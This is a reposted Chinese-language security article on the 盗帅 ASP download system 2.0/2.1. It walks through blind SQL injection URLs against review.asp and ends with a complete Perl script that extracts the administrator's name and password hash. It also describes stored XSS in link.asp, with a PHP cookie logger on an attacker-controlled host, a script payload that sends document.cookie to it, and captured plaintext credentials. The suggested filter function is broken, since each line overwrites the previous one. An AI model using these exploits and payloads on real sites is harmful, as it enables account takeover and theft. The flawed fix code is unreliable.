网络通信 频道

盗帅下载程序安全性分析

盗帅2.0以上系统的研究文章,整理了一下。发上来给大家共同讨论一下。

SQL injection with ACCESS

描述

  盗帅下载系统是一个使用比较广泛的ASP下载系统,在其2.0版以前的系统中都存在着严重的SQL injection漏洞,攻击着可以直接得到下载系统的管理员密码。10月6日,盗帅下载系统正式版2.0发布,7日顺便看了一下,发现最新版本的系统中虽然解决了以前存在的一些SQL injection漏洞,并且密码等敏感信息也使用MD5进行了加密,但是其review.asp文件仍然存在着SQL注入漏洞,可能导致密码信息的泄露。

  看review.asp文件中的部分代码:
引用 or 代码:
----------------------------------------------------------------
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from review where numSoftid="&request.
QueryString("id")&" order by dateRtime desc"
rs.open sql,conn,1,1
rs.PageSize = numLong
Tol = rs.PageCount
If Not(rs.EOF) Then
rs.AbsolutePage = absPageNum
End If
----------------------------------------------------------------
原理

  代码对于递交的变量并没有进行过滤,这样我们就可以构造带有查询功能的SQL语句插入系统将递交的查询语句中,再根据WEB返回的信息来判断数据库中的信息。

  我们通常可以简单的通过在URL后加入一个等式和一个不等式来判断ASP程序是否存在改漏洞。

例如,一个ASP程序的一个页面的URL如下:
http://www.xxx.com/show.asp?id=1
那么我们可以通过递交
http://www.xxx.com/show.asp?id=1 and 1=1 //在正常的URL后添加一个等式
http://www.xxx.com/show.asp?id=1 and 1=11 //在正常的URL后添加一个不等式

  通常存在这个漏洞的系统对于在URL后加等式仍然可以正常显示,而如果添加一个不等式则回出现出错信息,有可能是无法找到XXX,也有可能是返回找不到该页的返回信息,这个是根据服务器配置和系统的编写情况决定的。因为我们是通过返回信息的差异来判断的,所以只要返回页面有不同的地方就可以了。

  关于为什么加等式和不等式会出现不同的页面,我们可以这样的简单理解:系统以递交的变量的标准,查询该数据是否在数据库中存在,而在SQL查询语句中,可以通过逻辑运算符来连接多个变量(条件),因为我们将我们想要查询的变量插入了系统的查询语句中,查询语句的变量就变成:A AND 1=1 ,当我们插入的语句结果为真时,那么2个条件均为真,总结果为真,等式成立。所以可以返回正常的信息。而当我们递交: A AND 1=11时,2个条件中有一个为假,总结果也为假,等式不成立,所以系统返回出错的页面。(因为是个人理解所以可能存在一些错误,欢迎指出)。

实例

  盗帅文章系统2.0中review.asp这个文件是用于递交用户对软件的评价的。所以我们先在一个软件下载页面上递交一条留言,内容随便拉.我们递交一条留言后就可以看到自己的留言了,现在我们递交等式进去看看页面信息是怎么样的,加等式会显示你的留言内容,如果是不等式,就会返回“还没有评论,等待你的添加哦^_^”的信息,有这个就足够了!我们现在就可以通过SQL注入来得到管理员密码!

  看看他数据库的结构吧,默认管理员密码的信息是保存在ADMIN表中,用户名是admin列,密码是pws列,密码是MD5加密过的,长度为32。这是开放代码的程序,所以我们可以很快知道数据库的结构,如果是代码不公开或是对方改了数据库结构呢?我们可以通过以下URL来得到数据库的结构:

http://www.XXX.com/download/review.asp?id=1%20or%200<>
(select%20count(*)%20from%20admin)
//在正常的URL后面加or 0<> (select count(*) from admin)其中admin是我们要猜的表名。如果可以正常显示则说明我们猜对了。
http://www.xxx.com/download/review.asp?id=1%20and%200<>
(select%20count(*)%20from%20admin%20where%20admin)
//在正常的URL后面加and 0<>(select count(*) from admin where admin) 不要搞混淆了,前一个admin是表名,后一个是列名,因为他这个数据库里保存用户的列本来就是admin咯。
http://www.xxx.com/download/review.asp?id=1%20and%200<>
(select%20count(*)%20from%20admin%20where%20pws)
//同上,在正常URL后加and 0<>(select count(*) from admin where pws)其中的admin是表名,pws是列名。

  这样我们就同样得到了admin表中包含admin列和pws列的信息,当然入侵中不可能这么顺利,如果猜错了,页面会返回错误信息。

  下一步我们应该是猜管理员ID了,不过我一般不怎么猜这个,在论坛找找管理人员名单或系统中更新的人的ID,差不多就是了。包括一些安全站点哦。呵呵。

  递交以下URL来确定用户名是否是管理员组的:

http://www.xxx.com/download/review.asp?id=1%20and%20admin=
(select%20admin%20from%20admin%20where%20admin=admin)
//在正常URL后加and admin=(select admin from admin where admin=admin)

  解释一下,第一个和第五个admin是我们要猜的管理员ID,第二个和第四个是保存ID的列名,第三个是保存管理员ID的表名。如果admin的确是管理员组的话,等式自然成立了,页面也该正常返回。

  先猜猜密码位数吧:
http://www.xxx.com/download/review.asp?id=1%20and%20admin=
(select%20admin%20from%20admin%20where%20len(pws)>16)
//猜测密码大于16位,返回“子查询最多能返回一个记录”,这是正常的因为所有人的密码都是加密过的,当然位数一样拉,再猜
http://www.xxx.com/download/review.asp?id=1%20and%20admin=
(select%20admin%20from%20admin%20where%20len(pws)=32)
//返回的页面和上面一样,说明管理员加密后的密码是32位。如果猜错了,会返回“还没有评论,等待你的添加哦”的信息。
http://www.xxx.com/download/review.asp?id=1%20and%20admin=
(select%20admin%20from%20admin%20where%20left(pws,1)=e)
//猜测第一位密码为e,如果正常显示说明猜对了
http://www.xxx.com/download/review.asp?id=1%20and%20admin=
(select%20admin%20from%20admin%20where%20left(pws,2)=e0)
//猜测前二位密码为e0
http://www.xxx.com/download/review.asp?id=1%20and%20admin=
(select%20admin%20from%20admin%20where%20left(pws,3)=e0a)
//猜测前三位为e0a

  如果32位密码都这样猜,会猜到明天去的,所以我把wawa写的动网文章系统注入漏洞的利用程序改了一下,可以猜解盗帅管理员密码了。感谢wawa。
用法:
daoshuai.pl <host> <way> <articleID> <errInfo> <username>
D:>daoshuai.pl 1.1.1.1 /download/2/review.asp 1 "还没有评论,等待你的添加哦" admin
格式很清楚了,c:程序名 IP 路径 文件ID "出错信息" 管理员ID
成功后密码就出来了。再用破解MD5密码的工具破密码,或者直接进行cookie欺骗即可。

防范

  在review.asp中的查询语句前加入
引用 or 代码:
-------------------------------------------------------------------
<%
if IsNumeric(request.QueryString("id"))=False then
response.write("请勿输入非法字符")
response.end
end if
%>
-----------------------------------------------------------
即可弥补该漏洞.另外官方站点已发布补丁
盗帅下载系统2.X正式版存在多个跨站漏洞

前言

  盗帅下载系统是一个使用比较广泛的ASP程序,开发者经过修改后在10月6号发布了盗帅2.0正式版,解决了以前存在的大部分SQL injection漏洞.上次在找盗帅2.0的注入漏洞时,就发现盗帅下载系统的COOKIE是明文保存的,就想试试有没有跨站攻击漏洞.正好这几天放假,把程序翻出来看了看,果然程序几乎没有对跨站攻击进行防范.

漏洞描述

  先粗略看了一下link.asp的代码,这个文件中仅仅对输入做了不能为空的限制,而对于特殊字符却没有任何防范,而且作者也允许JS和flash代码,应该是作者的大意造成了这个漏洞。我们可以通过插入<script>alert("test")</script>来证明这个漏洞是否存在.在首页进入申请连接.在网站介绍那里加入,再看看,是不是出来了一个警告窗口?但是我们的目的是得到我们想要的COOKIE信息.先找一个支持PHP的空间把我们用来截取COOKIE信息的文件传上去.这里设我们的空间服务器IP为192.168.1.1.PHP文件代码如下:

引用 or 代码:
------------------------------------------------------------
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."n");
fclose($fp);
}
?>

<script language=vbscript>
document.location="http://www.ad.com/"
</script>
---------------------------------------------------------------


以上代码保存为cookie.php,其中test.txt是我们保存COOKIE信息的文件http://www.ad.com/是起转向功能的,具体你自己写吧,爱转那转那.推荐转到一个广告或目标首页什么的,这样不容易被怀疑.当然你也可以通过JS来实现窗口最小化或自动关闭窗口来达到隐藏的目的。

  然后我们只要在网站介绍那里添加:

引用 or 代码:


--------------------------------------------------------------
<script>window.open(http://192.168.1.1/cookie.PHP?+
document.cookie);</script>
--------------------------------------------------------------


这样当用户浏览友情连接的时候,就会弹出窗口并且把他COOKIE中的用户名和密码截取并保存到test.txt中去了。不过并没有我们希望的那样顺利哦,递交的时候出了点问题,显示如下错误信息:

引用 or 代码:
语法错误 (操作符丢失) 在查询表达式
script>window.open(http://192.168.1.1/
cookie.PHP?+document.cookie);</script> 中


   呵呵,开始我以为是把SQL语句搞乱了,在这里郁闷了一段时间,后来再仔细看了看代码,看到这么一段:

引用 or 代码:


------------------------------------------------------------
~~~~~~~~~~省去一部分
conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,
strLinTitle,strLinPic,boolLinShow,dateTimers) values("& strLinName &",
"& strLinUrl &","& Request.Form("boolLinText")
&","& Request.Form("boolLinJs") &",0,"& strLinTitle &",
"& strLinPic &",False,"& now() &")")
~~~~~~~~~~~~~省去一部分
----------------------------------------------------------


由于使用了insert into所以我们递交语句的时候要记得把单引号换成2个单引号,把语句中的单引号替换,递交,成功。
这是我截取到的一部分代码:

引用 or 代码:


------------------------------------------------------------
The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;
%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;
%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;
%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;
%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
-------------------------------------------------------------


看pws=1111&admin=1111中,pws后面的是密码(明文的),admin后面的是用户名.

  再来看看在那些地方可以通过flash跨站来达到我们的目的,友情连接页面同样允许使用flash;程序中软件信息页面中程序简介是可以贴flash和其他多媒体标签的发散一下是不是可以把动网的一些漏洞“移植”到这里来呢?如多媒体标签未过滤漏洞,不过我没试有兴趣的朋友可以自己看看。在这2个地方我们都可以通过贴flash来得到我们想要的cookie信息,具体使用的代码大家可以看LIlo/sandflee写的“Flash跨站攻击研究”一文。

  上次写了盗帅下载2.0的跨站攻击漏洞的文章,本来到这里也应该结束了,盗帅作者也发布了声称修补了以前所有漏洞的盗帅2.1版。正巧,安全天使的angel看了我上次的文章后,angel也去看了看所谓的2.1版,提醒我再去试试2.1版是否还存在跨站漏洞,果然和angel说的一样过滤部分写的仍然不够严谨,我们仍然可以跨站来得到用户密码。感谢angel的指导。

  我们先学习点前置知识,目前我们接触到的都是写ASP、PHP、CGI编写的脚本,虽然这些脚本弥补了HTML的交互性差的问题,但是也正是由于其交互性,一些别有用心的用户可以递交一些恶意代码进入页面中,如果该页面没有采取一些防范措施,那么就可能导致这个漏洞被利用;可能造成的危害有一下几种:

1.当普通用户在浏览包含恶意代码的页面的时候执行恶意代码内容。

2.截取用户的COOKIE信息

3.使用户访问其他恶意站点。

4.利用一些小代码来实现对用户的攻击。

5.结合一些其他安全问题来进行攻击。


   如果一套WEB程序存在这类漏洞,攻击者可以通过JavaScript、VBScript、ActiveX、HTML 或 Flash 来进行攻击,一旦有用户浏览便会受到攻击者的攻击。

  好了,一些基本知识说完了,现在让我们来看看盗帅下载系统的问题吧。存在这个问题的地方很多,主要是作者在编写的时候安全意识不够强,没有考虑到这些情况,我们主要以link.asp这个文件为例。link.asp这个文件主要用于递交友情连接,由于作者允许使用JS代码并且没有进行任何过滤,所以我们完全可以递交一些代码来达到我们的目的--截取用户密码。

  我们先看看代码,盗帅2.0的是这样写的:

引用 or 代码:


---------------------------------------------------------------
if Request.Form("strLinTitle")<>"" then
[strLinTitle=Request.Form("strLinTitle")
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if
//仅仅判断所添内容是否为空,没有对用户递交的内容进行任何检查和过滤,其实我们在实践过程中可以知道这行代码根本没有起任何作用。(//后面是我的注释,下同。)/quote]

再看看盗帅2.1是怎么样写的:

引用 or 代码
-------------------------------------------------------------
if Request.Form("strLinTitle")<>"" then
if instr(Request.Form("strLinTitle"),".cookies")>0 then
MsgErrLink=MsgErrLink&"<li>请勿输入非法字符"
else
strLinTitle=Request.Form("strLinTitle")
end if
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if
//仅仅对输入内容检查了不可以包含.cookies,否则提示请勿输入非法字符。从这里可以看出编写者的大意,完全是应付式的写补丁程序,如果我们把输入内容换个方式递交呢?
------------------------------------------------------------


再看看

引用 or 代码:


---------------------------------------------------------
conn.execute("insert into link(strLinName,strLinUrl,
boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,
boolLinShow,dateTimers) values("& strLinName &","& strLinUrl &",
"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",
0,"& replace(strLinTitle,".cookies","") &",
"& strLinPic &",False,"& now() &")")
------------------------------------------------------------
看起来几乎和原来的代码就多了点对strLinTitle的判断,发现如果有.cookies就会提示“请勿输入非法字符”,其实这样根本不能使程序避免跨站攻击的问题。即使解决了COOKIE密码泄露的问题,那我们不去递交得到密码的语句,而递交一个格盘或指向其他网站的网页木马的语句呢?不言而喻,结果难以想象。另外,从2.0的原始发布版我就一直在提醒作者把COOKIE的密码等敏感信息加密,增加安全性;但是不知道是什么原因,在之后推出的各个补丁包括2.1版在内,作者都没有对COOKIE进行加密,不知是什么缘故。

  程序最大的改变也就是加强了验证的过程,递交连接后需要通过管理员审核才会在link.asp中显示出来。而我们仍然可以递交这样的语句来达到目的,在申请连接的页面中“网站介绍”那里输入以下代码:

引用 or 代码:


----------------------------------------------------------
<script>window.open(http://localhost/
cookie.PHP?+document.cookie);</script>
------------------------------------------------------------


http://localhost/”为我们控制的一台WEB服务器,我们要预先存放一个截取并记录COOKIE信息的脚本,我这里用的是个PHP的,文件名为cookie.php,大家看情况更改内容。懂点脚本语言的可以通过一些小代码来实现缩小窗口、自动关闭窗口和转向另外的站点,以达到隐蔽的效果。

  点击递交,而这个时候作者的过滤语句并没有起到什么作用,我们的语句也就直接递交进去了,当管理员进入友情连接的管理页面的时候,COOKIE信息即被我们获得,我们的目的也就达到了。

解决方法

  可以用这样的一段代码来过滤特殊字符,根据实际情况添加需要过滤的字符:

引用 or 代码:


--------------------------------------------------------
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"","")
checkStr=replace(str,";","")
checkStr=replace(str,"--","")
checkStr=replace(str,"<","<")
checkStr=replace(str,">",">")
checkStr=replace(str," "," ")
checkStr=replace(str,"javascript","/javascript")
checkStr=replace(str,"cookie","/cookie")
checkStr=replace(str,"document","/document")
end function
--------------------------------------------------------------
这样通过过滤特殊字符来避免类似攻击,这是一种经典的方法。而我更喜欢使用定制标记库来达到目的,它的实现比较方便、简洁;有兴趣的朋友可以自己去找找相关资料。


附:SQL injection with 盗帅下载系统 2.0的测试程序引用 or 代码:
-----------------------------------------------------------------
#!/usr/bin/perl
#SQL injection with 盗帅下载系统 2.0
#Code by sniper & thanks to wawa
#Grouppagehttp://www.4ngel.net
#Homepagehttp://www.4ngel.net

use IO::Socket;

system(cls);
$ARGC = @ARGV;
if ($ARGC != 5)
{
print "nn";
print "t* SQL injection with 盗帅下载系统正式版2.0 by sniper *n";
print "nt Welcom tohttp://www.4ngel.net && 感谢haowawan";
print "nt Example: daoshuai.pl 127.0.0.1 /down/review.asp 1 "还没有评论,等待你的添加哦" adminn";
print "t daoshuai.pl <host> <way> <articleID> <errInfo> <username>nnn";
exit;
}

$host = @ARGV[0];
$way = @ARGV[1];
$txtid = @ARGV[2];
$errinfo =@ARGV[3];
$username =@ARGV[4];
$port = 80;

print "nt* Welcom tohttp://www.4ngel.net && by sniper *n";
print "nn开始在 $host 上进行测试,请等待......n";

for ($adminid=1;$adminid<=100;$adminid++)
{
$way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)
%20from%20admin%20where%20admin=$username)";

&url;@res = &connect;

#print @res;

if ("@res" !~ /$errinfo/)
{
print "nt* 发现一管理员ID号为: $adminid n";
last;
}
}

for ($passlen=1;$passlen<=50;$passlen++)
{
$way1 = "?id=$txtid%20AND%20$passlen=(select%20len(pws)
%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
print "nt* 发现ID=$adminid的管理员的密码长度为: $passlen 位n";
last;
}
}

for ($userlen=1;$userlen<=20;$userlen++)
{
$way1 = "?id=$txtid%20AND%20$userlen=(select%20len(admin)
%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
print "nt* 发现ID=$adminid的管理员的用户名长度为: $userlen 位n";
last;
}
}


@dig=(0..9);
@char=(a..z);
@tchar=qw(` ~ ! + @ # $ ^ * ( ) _ = - { } [ ] : " ; < > ? | , . / \);
@dic=(@dig,@char,@tchar);
@dic1=(@char,@dig,@tchar);

print "n开始尝试获取ID=$adminid的管理员的用户名及密码,请等待......n";

for ($userlocat=1;$userlocat<=$userlen;$userlocat++)
{
foreach $usertemp(@dic1)
{
$user=$userdic.$usertemp;

$way1 = "?id=$txtid%20AND%20$user=(select%20mid(admin,1,$userlocat)
%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
if ($userlocat==$userlen){print "nnt* 获取成功!!! ID=$adminid的管理员名字是: $usern";last;}
print "nt* ID=$adminid的管理员名字的前 $userlocat 位为 $user";
$userdic=$userdic.$usertemp;
last;
}
}
}

for ($passlocat=1;$passlocat<=$passlen;$passlocat++)
{
foreach $passtemp(@dic)
{
$pass=$passdic.$passtemp;

$way1 = "?id=$txtid%20AND%20$pass=(select%20mid(pws,1,$passlocat)
%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
if ($passlocat==$passlen){print "nnt* 获取成功!!! ID=$adminid的管理员密码是: $pass";last;}
print "nt* ID=$adminid的管理员密码的前 $passlocat 位为 $pass";
$passdic=$passdic.$passtemp;
last;
}
}
}


print "nnnt* 测试完毕. 获取到一个用户名为$user密码为$pass的管理员权限!本程序供测试之用,请不要破坏! *n";
print "nnn";
#system(pause);


sub url
{
$req = "GET $way$way1 HTTP/1.0n".
"Host: $hostn".
"Referer: $hostn".
"Cookie: nn";
}


sub connect
{
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host n";

print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}

文章转载地址:http://www.cnpaf.net/Class/hack/05121820345286477131.htm

0
相关文章